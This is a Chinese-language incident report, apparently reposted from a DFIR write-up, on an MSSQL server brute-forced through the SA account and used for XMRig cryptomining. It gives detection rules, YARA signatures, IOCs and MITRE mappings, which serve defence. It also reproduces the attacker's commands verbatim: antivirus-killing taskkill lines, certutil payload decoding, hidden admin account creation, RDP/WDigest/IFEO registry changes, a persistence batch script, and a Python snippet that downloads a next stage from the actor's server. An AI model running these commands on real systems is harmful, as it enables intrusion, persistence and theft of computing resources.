文章前言
2022年3月,我们观察到一个披露在互联网上的Microsoft SQL服务器遭到入侵,这次入侵的最终目标是部署一个挖矿程序,虽然在成功利用后在易受攻击的服务器上部署挖矿程序是攻击者的常见目标,但这次入侵略有不同
US CERT最近于2022年6月23日发布了一份与XMRig coin miner相关的恶意软件分析报告和防御这种威胁的安全策略:
https://www.cisa.gov/uscert/ncas/analysis-reports/ar22-174a
https://www.cisa.gov/uscert/ncas/tips/ST18-002
基本摘要
在2022年3月,我们观察到一系列针对MSSQL服务器的活动,该活动通过对MSSQL SA帐户的密码暴力尝试开始,这些爆破攻击在接近一个月内被反复检测到,例如:在他们最终成功猜出密码之前,来自同一个来源的24000次失败尝试的集群经过了27个小时的努力,在拥有正确的凭证后攻击者通过xp_cmdshell生成一个命令shell,根据微软文档xp_cmdshell产生一个Windows命令shell,并传入一个字符串用于执行
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver15
通过使用xp_cmdshell,攻击者能够对受损的服务器执行任何命令,他们试图通过使用taskkill.exe来扼杀一批反病毒程序,然后攻击者通过使用echo将多个命令写入一个批处理文件,并将字符串重定向到一个名为1.bat的文件,批处理文件写入后,他们继续执行相同的操作将数据回显到一个名为bigfile.txt的文件中,写入该文件后他们运行certutil将base64数据解码为一个可执行文件,这个可执行文件是一个权限提升工具,用于执行批处理文件,以确保它以足够高的权限执行,然后他们执行批处理脚本,这些命令包括向本地管理员组添加新用户、启用RDP、启用WDigest以及使用注册表隐藏新创建的管理员帐户,而一旦攻击者在被入侵的主机上建立了持久性,他们就转向他们的最终目标,即安装和运行XMRig miner,为了做到这一点,他们将二进制托管对象格式(BMOF)文件与miner一起丢弃,攻击者使用mofcomp.exe来反编译BMOF二进制文件,并在WMI库中注册了一个恶意类,新创建的类的事件消费者包括一个VBE脚本,负责用正确的设置设置和执行XMRig miner,在攻击者被驱逐之前,我们并没有观察到挖矿以外的其他活动
初始访问
最初的访问是通过暴力攻击进行的,其中威胁参与者主要针对系统管理员(SA)帐户,在入侵过程中我们可以看到SQL Server Event ID 18456 Windows应用程序日志中的失败审核事件,在威胁参与者成功猜出open SQL数据库的用户名和密码之前,我们目睹了来自同一来源的超过24000次尝试,失败的暴力尝试示例:
随后是最终成功登录,由于威胁参与者使用的自动访问脚本,可能会观察到多次成功登录
命令执行
在下一个攻击阶段,攻击者使用了扩展存储过程(xp_cmdshell),此过程允许您使用T-SQL代码直接向Windows命令行发出操作系统命令,下面是一个使用xp_cmdshell成功验证SQL数据库后的命令执行示例:
#Executing 'whoami' command on the remote host
EXEC xp_cmdshell ‘whoami’
总体执行事件可以在下图中描述:
如果查看Windows应用程序日志,特别是SQL Server事件ID 15457将会看到其捕获的"xp_cmdshell"事件,此外SQL Server审核也会集中捕获类似的事件,攻击者执行的第一批命令包括对各种防病毒软件使用taskkill
taskkill/f/im egui . exetaskkill/f/im qpctray . exetaskkill/f/im safedogguardcenter . exetaskkill/f/im 360 safe . exetaskkill/f/im net 1895 . exetaskkill/f/im ekrn . exetaskkill/f/im 360 RP . exetaskkill/f/im qpcmgr . exetaskkill/f/im safedogserverui . exetaskkill/f/im SafeDogSiteIIS.exe
攻击者通过通过使用echo命令将字符串重定向到文件,将批处理脚本(1.bat)写入磁盘
第二组命令也被回显到名为bigfile.txt的文件中
完成后攻击者使用certutil解码文本并创建一个可执行文件
"cmd.exe" /c certutil -decode %USERPROFILE%AppDatabigfile.txt %USERPROFILE%AppDatabigfile.exe
然后这个可执行文件用于执行1.bat批处理文件
"cmd.exe" /c %USERPROFILE%AppDatabigfile.exe -i -c %USERPROFILE%AppData1.bat
提取已写入文件的哈希,与THOR scanner的hits中显示的权限提升工具相匹配:
https://www.virustotal.com/gui/file/b67dfd4a818d10a017a4d32386cf4cd2a3974636bed04f27e45de6ada86a56d2/community
我们认为这个工具可能是NetworkServiceExploit.exe,因为它试图使用NetworkService进行权限提升,此外我们注意到攻击者丢弃了一个名为"xitmf"的文件,查看文件的内容我们注意到标题以"FOMB"开头,翻转头文件时拼写为BMOF,表示二进制托管对象格式文件,BMOF是托管对象格式(MOF)文件的编译版本,根据微软的官方文档:
https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-
"管理对象格式(MOF)是用来描述公共信息模型"
MOF文件使用Windows编译器工具mofcomp编译,Mofcomp.exe也用于通过解析MOF语句来执行脚本,并创建新的类作为WMI存储库的一部分
cmd.exe /c mofcomp.exe C:WindowsSERVIC~1MSSQL$~1AppDataLocalTempxitmf
使用相同的mofcomp实用程序,可以反编译BMOF来提取脚本,使用Matt Graeber提供的命令:
威胁参与者还传输了一个使用cscript.exe在主机上执行的Visual Basic编码(VBE)文件,一旦运行该脚本将设置并执行XMRig CoinMiner,在执行过程中,密码579562847作为参数提供
cscript.exe /b /e:VBScript.Encode C:WindowsSERVIC~1MSSQL$~1AppDataLocalTempxit 579562847
我们从文件顶部的前四个字节的文件签名("神奇字节")中识别出这是一个VBE文件
我们可以使用CyberChef解码VBE文件
该脚本有几个功能,一是控制主机上的矿工软件,二是通过随机化配置参数,例如用户代理字符串:
命令交互通过WMI完成,用于进程发现:
进程创建:
在代码中我们观察到进一步混淆敏感属性值的尝试
使用原始密码和一些进一步的模糊处理,我们可以破译这些值,在这种情况下电子邮件地址是
bj87670@gmail.com
一些其他破译的价值与硬币开采池有关;
crypto-pool.fr
minergate.com
我们还观察到了另一个滴,攻击者把文件转给了ex.exe。Ex.exe是一个Unrar应用程序,他们用来提取更多的恶意文物:
命令:
ex.exe x -prootBRUCE -y C:Windows<REDACTED>AppDataLocalTempistx64f.rar C:Windows<REDACTED>AppDataLocalTempmstrx<file>
提取的文件:
WinRing0x64.sys - XMRig cryptominer windows driver
smss.exe - XMRig coin miner
kit.bat
kit.bat脚本包括执行miner以及通过调度任务创建持久性的指令,请看下面脚本的内容:
@echo off
set usr=jood.06.10
set app=smss.exe
cd /d "%~dps0"
if "%1"=="-s" (
if EXIST %~dps0smss.exe start /min %~dps0smss.exe -c %usr%
exit
if EXIST %~dps0smss.exe start /min %~dps0smss.exe -c %usr%
schtasks /delete /tn ngm /f
schtasks /delete /tn cell /f
schtasks /create /tn ngm /tr "%~dps0kit.bat -s" /sc hourly /ru ""
schtasks /run /tn ngm
exit
关于kit.bat脚本,这里需要注意的是我们发现它的内容是2018年中国论坛的讨论主题如下:
http://www.bathome.net/thread-48526-1-1.html
权限维持
攻击者编写了一个批处理脚本(1.bat )其中包含在受损主机上建立持久性的命令,我们看到创建了一个新帐户,并将该帐户添加到本地管理员组
NET USER Adminv$ !67hCS14ORVg /ADD /expires:never
NET LOCALGROUP Administrators /ADD Adminv$
他们还使远程RDP连接成为可能通过设置fdenytssconnections和用户认证值为0
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-TCP" /v UserAuthentication /t REG_DWORD /d "0" /f
NET USER Adminv$ !67hCS14ORVg /ADD /expires:never
NET LOCALGROUP Administrators /ADD Adminv$
REG ADD "HKLMSoftwareMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserlist" /v Adminv$ /t REG_DWORD /d 0
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-TCP" /v UserAuthentication /t REG_DWORD /d "0" /f
NET LOCALGROUP Administrators /ADD Adminv$
NET LOCALGROUP Administratoren /ADD Adminv$
NET LOCALGROUP Administrateurs /ADD Adminv$
NET LOCALGROUP Administratorzy /ADD Adminv$
NET LOCALGROUP Administradores /ADD Adminv$
我们稍后会看到攻击者将另一个批处理文件写入磁盘并执行它,kit.bat脚本包含一个每小时运行kit.bat脚本的计划任务
schtasks /create /tn ngm /tr "%~dps0kit.bat -s" /sc hourly /ru ""
schtasks /run /tn ngm
如上面的执行策略中所述,威胁参与者通过包含将在受损主机上执行的VBScript来安装恶意的WMI事件订阅,这被用作一种持久的方法,VBScript将在主机当地时间每天23:00执行
反编译后发现包含WMI事件订阅的mof文件,分解上面的屏幕截图,WMI事件订阅包含以下恶意EventConsumer和EventFilter类
事件消费者:
-
类名:ASEventConsumerdr
-
内容:VBScript
事件过滤器:
-
名称:EFNMdr(随机命名)
-
触发器:当地时间每天23:00
在VBScript中我们注意到它正在扩展到域mymst007.info在端口4000上再下载一个文件并保存为临时文件
WMI事件消费者VBScript代码如下:
我们使用以下python代码来模拟VBScript并下载下一阶段有效负载
import requests
chars = []
text = ""
response = requests.get("http://mst2.mymst007.info:4000/ex?e=1")
body = response.text.split(',')
for i in body:
chars.append(int(i) - 2)
for i in chars:
text = text + chr
下载并执行的第二级有效载荷
我们观察到的最后一种持久化方法是在图像文件执行选项中添加一个条目(映像劫持)注册表项,通过将调试器值更改为不同的可执行文件,攻击者使用IFEO启动了一个非预期的程序,在这种情况下威胁参与者修改以下注册表项来启动miner可执行文件(smss.exe)而不是svchost.exe二进制文件
"cmd.exe" /c REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssmss.exe" /f /v Debugger /t REG_SZ /d "C:windowssystem32svchost.exe
权限提升
攻击者丢弃了一个名为bigfile.txt的文件,他们使用certutil将其转换为bigfile.txt,我们认为这是NetworkServiceExploit.exe的变体,如下所示
在这次入侵中,使用以下命令运行批处理文件
"cmd.exe" /c %USERPROFILE%AppDatabigfile.exe -i -c %USERPROFILE%AppData1.bat
防御绕过
攻击者试图终止可能正在主机上运行的防病毒任务,这些命令针对以下进程:
QQPCTray.exe
QQPCRTP.exe
QQPCMgr.exe
kavsvc.exe
alg.exe
AVP.exe
SafeDogGuardCenter.exe
SafeDogSiteIIS.exe
SafeDogUpdateCenter.exe
SafeDogServerUI.exe
kxescore.exe
kxetray.exe
360safe.exe
360sd.exe
360rp.exe
360rps.exe
360tray.exe
ZhuDongFangYu.exe
攻击者带来的特权提升工具被写成文本文件,然后使用certutil解码成二进制文件
"cmd.exe" /c certutil -decode %USERPROFILE%AppDatabigfile.txt %USERPROFILE%AppDatabigfile.exe
正如我们从1.bat脚本的内容中看到的,攻击者正在添加一个新的本地管理员用户,他们继续隐藏用户帐户,方法是使用"特殊账户"
https://attack.mitre.org/techniques/T1564/002/
REG ADD "HKLMSoftwareMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserlist" /v Adminv$ /t REG_DWORD /d 0
通过执行初始批处理脚本1.bat,他们还通过将注册表键值设置为“1”来禁用用户访问控制(UAC)远程限制
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
攻击者也启用了Wdigest
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
在许多文件被添加到系统之后,一旦攻击者的文件执行完成后就删除它们的命令
"cmd.exe" /c DEL %USERPROFILE%AppData1.bat
"cmd.exe" /c DEL %USERPROFILE%AppDatabigfile.txt
"cmd.exe" /c DEL %USERPROFILE%AppDatabigfile.exe
凭证获取
在初始访问期间凭据是通过对暴露的MSSQL服务器的暴力攻击获得的,在这次入侵过程中没有观察到其他凭据访问,尽管攻击者确实启用了WDigest,使以后的凭据访问更加容易
命令控制
我们观察到域mymst007.info用于下载更多的有效载荷,该域名创建于五年前,我们看到过类似的报道,提到了同样的基础设施,与该领域相关的攻击包括相同或相似的战术技术和程序(TTP)
相关影响
目前我们没有看到任何进一步的活动,被入侵的主机安装并运行了XMRig miner,矿工也连接到诸如minergate的矿池
相关指标
文件信息:
WinRing0x64.sys
0c0195c48b6b8582fa6f6373032118da
d25340ae8e92a6d29f599fef426a2bc1b5217299
11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
ex.exe
a7bafac5ed29a68e0fff6eecc3f5bb3f
4f19b6970e35b3d20f84a91e3af0d82c68096710
428d06c889b17d5f95f9df952fc13b1cdd8ef520c51e2abff2f9192aa78a4b24
kit.bat
91931a2b1ae645004023e1b35fe57314
9f5a7a293c92ef42374cf1471b653ed994446c15
4905b7776810dc60e710af96a7e54420aaa15467ef5909b260d9a9bc46911186
smss.exe
e579cd176b384b38eda6a0c61c51c274
8a3b31ac12d9ac1a44707b1de75b8870189db83a
d3c3f529a09203a839b41cd461cc561494b432d810041d71d41a66ee7d285d69
xit
88fba011db6e5122f4aa2c0343e11275
a2d34aeee2fb7c1ba57a11c03cc33e76f1217548
cfa12bb31d58d30875b7a20ed05b5c100032b6a18802fbdf3913e70288e11a55
xitmf
0c8622c4871541e89d0173d5be0db8aa
b01a88df39857417233d9bd3256f82d0fdcc63f8
beda317d74b8f1090e251205064e686d330a0502006a54dc94d528d6bd1
网络信息:
minergate.com
mymst007.info
bj87670@gmail.com
入侵检测
Sigma
a、Custom Sigma rules
Suspicious Commands by SQL Server:
https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/win_suspicious_commands_by_sql_server.yml
MOFComp Execution:
https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/win_mofcomp_execution.yml
Hiding Local User Accounts:
https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/win_hiding_local_user_accounts.yml
b、SigmaHQ
System File Execution Location Anomaly –https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_system_exe_anomaly.yml
Suspicious Shells Spawn by SQL Server –https://github.com/SigmaHQ/sigma/edit/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_from_mssql.yml
Suspicious Execution of Taskkill –https://github.com/SigmaHQ/sigma/blob/04a3dfeb019fb326a2a411e87049c4a59d81bfb5/rules/windows/process_creation/proc_creation_win_susp_taskkill.yml
Net.exe User Account Creation –https://github.com/SigmaHQ/sigma/blob/8bb3379b6807610d61d29db1d76f5af4840b8208/rules/windows/process_creation/proc_creation_win_net_user_add.yml
Wdigest Enable UseLogonCredential https://github.com/SigmaHQ/sigma/blob/b4cb047ae720b37b11f8506de7965dc29d5920be/rules/windows/registry/registry_set/registry_set_wdigest_enable_uselogoncredential.yml
DNS Events Related To Mining Pools –https://github.com/SigmaHQ/sigma/blob/578c838277fdba88704ff3fed3268e87bd7277e0/rules/network/zeek/zeek_dns_mining_pools.yml
Yara:
rule miner_batch {
meta:
description = "file kit.bat"
author = "TheDFIRReport"
reference = "add report link"
date = "2022/07/10"
hash1 = "4905b7776810dc60e710af96a7e54420aaa15467ef5909b260d9a9bc46911186"
strings:
$a1 = "%~dps0" fullword ascii
$a2 = "set app" fullword ascii
$a3 = "cd /d "%~dps0"" fullword ascii
$a4 = "set usr=jood" fullword ascii
$s1 = "schtasks /run" fullword ascii
$s2 = "schtasks /delete" fullword ascii
$a5 = "if "%1"=="-s" (" fullword ascii
condition:
uint16(0) == 0xfeff and filesize < 1KB and
3 of ($a*) and 1 of ($s*)
}
rule file_ex_exe {
meta:
description = "files - file ex.exe.bin"
author = "TheDFIRReport"
reference = "add report link"
date = "2022/07/10"
hash1 = "428d06c889b17d5f95f9df952fc13b1cdd8ef520c51e2abff2f9192aa78a4b24"
strings:
$s1 = "d:\Projects\WinRAR\rar\build\unrar32\Release\UnRAR.pdb" fullword ascii
$s2 = "rar.log" fullword wide
$s3 = " <requestedExecutionLevel level="asInvoker" uiAccess="false"/>" fullword ascii
$s4 = " processorArchitecture="*"" fullword ascii
$s5 = "%c%c%c%c%c%c%c" fullword wide /* reversed goodware string 'c%c%c%c%c%c%c%' */
$s6 = " version="1.0.0.0"" fullword ascii
$s7 = "%12ls: RAR %ls(v%d) -m%d -md=%d%s" fullword wide
$s8 = " hp " fullword wide
$s9 = " %s - " fullword wide
$s10 = "yyyymmddhhmmss" fullword wide
$s11 = "-------- %2d %s %d, " fullword wide
$s12 = " Type Descriptor'" fullword ascii
$s13 = "\$\3|$4" fullword ascii /* hex encoded string '4' */
$s14 = " processorArchitecture="*"" fullword ascii
$s15 = " constructor or from DllMain." fullword ascii
$s16 = "----------- --------- -------- ----- ----" fullword wide
$s17 = "----------- --------- -------- ----- -------- ----- -------- ----" fullword wide
$s18 = "%-20s - " fullword wide
$s19 = " publicKeyToken="6595b64144ccf1df"" fullword ascii
$s20 = " version="6.0.0.0"" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 900KB and
8 of them
}
rule smss_exe {
meta:
description = "files - file smss.exe.bin"
author = "TheDFIRReport"
reference = "add report link"
date = "2022/07/10"
hash1 = "d3c3f529a09203a839b41cd461cc561494b432d810041d71d41a66ee7d285d69"
strings:
$s1 = "mCFoCRYPT32.dll" fullword ascii
$s2 = "gPSAPI.DLL" fullword ascii
$s3 = "www.STAR.com" fullword wide
$s4 = "4;#pMVkWTSAPI32.dll" fullword ascii
$s5 = " <requestedExecutionLevel level="asInvoker"/>" fullword ascii
$s6 = "dYDT.Gtm" fullword ascii
$s7 = "|PgGeT~^" fullword ascii
$s8 = "* IiJ)" fullword ascii
$s9 = "{DllB8qq" fullword ascii
$s10 = "tfaqbjk" fullword ascii
$s11 = "nrvgzgl" fullword ascii
$s12 = " <!--The ID below indicates application support for Windows 10 -->" fullword ascii
$s13 = "5n:\Tk" fullword ascii
$s14 = " </compatibility>" fullword ascii
$s15 = "HHp.JOW" fullword ascii
$s16 = " <!--The ID below indicates application support for Windows 8 -->" fullword ascii
$s17 = " <!--The ID below indicates application support for Windows 7 -->" fullword ascii
$s18 = "Wr:\D;" fullword ascii
$s19 = "px:"M$" fullword ascii
$s20 = " <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 23000KB and
8 of them
}
rule WinRing0x64_sys {
meta:
description = "files - file WinRing0x64.sys.bin"
author = "TheDFIRReport"
reference = "add report link"
date = "2022/07/10"
hash1 = "11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5"
strings:
$s1 = "d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb" fullword ascii
$s2 = "WinRing0.sys" fullword wide
$s3 = "[email protected]" fullword ascii
$s4 = ""GlobalSign Time Stamping Authority1+0)" fullword ascii
$s5 = "\DosDevices\WinRing0_1_2_0" fullword wide
$s6 = "OpenLibSys.org" fullword wide
$s7 = ".http://crl.globalsign.net/RootSignPartners.crl0" fullword ascii
$s8 = "Copyright (C) 2007-2008 OpenLibSys.org. All rights reserved." fullword wide
$s9 = "1.2.0.5" fullword wide
$s10 = " Microsoft Code Verification Root0" fullword ascii
$s11 = "\Device\WinRing0_1_2_0" fullword wide
$s12 = "WinRing0" fullword wide
$s13 = "[email protected]" fullword ascii
$s14 = "GlobalSign1+0)" fullword ascii
$s15 = "Noriyuki MIYAZAKI1(0&" fullword ascii
$s16 = "The modified BSD license" fullword wide
$s17 = "RootSign Partners CA1" fullword ascii
$s18 = "\/.gJ&" fullword ascii
$s19 = "14012709" ascii
$s20 = "140127110000Z0q1(0&" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 40KB and
8 of them
}
MITRE
T1053.005 - Scheduled Task/Job: Scheduled Task
T1136.001 - Create Account: Local Account
T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription
T1564.002 - Hide Artifacts: Hidden Users
T1059.003 - Command and Scripting Interpreter: Windows Command Shell
T1027.004 - Obfuscated Files or Information: Compile After Delivery
T1110.001 - Brute Force: Password Guessing
T1070.004 - Indicator Removal on Host: File Deletion
T1562.001 – Impair Defenses: Disable or Modify Tools
T1546.012 - Event Triggered Execution: Image File Execution Options Injection
T1140 - Deobfuscate/Decode Files or Information
T1112 - Modify Registry
T1078 - Valid Accounts
T1134.001 - Token Impersonation/Theft
原文始发于微信公众号(七芒星实验室):SELECT XMRig FROM SQLServer
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论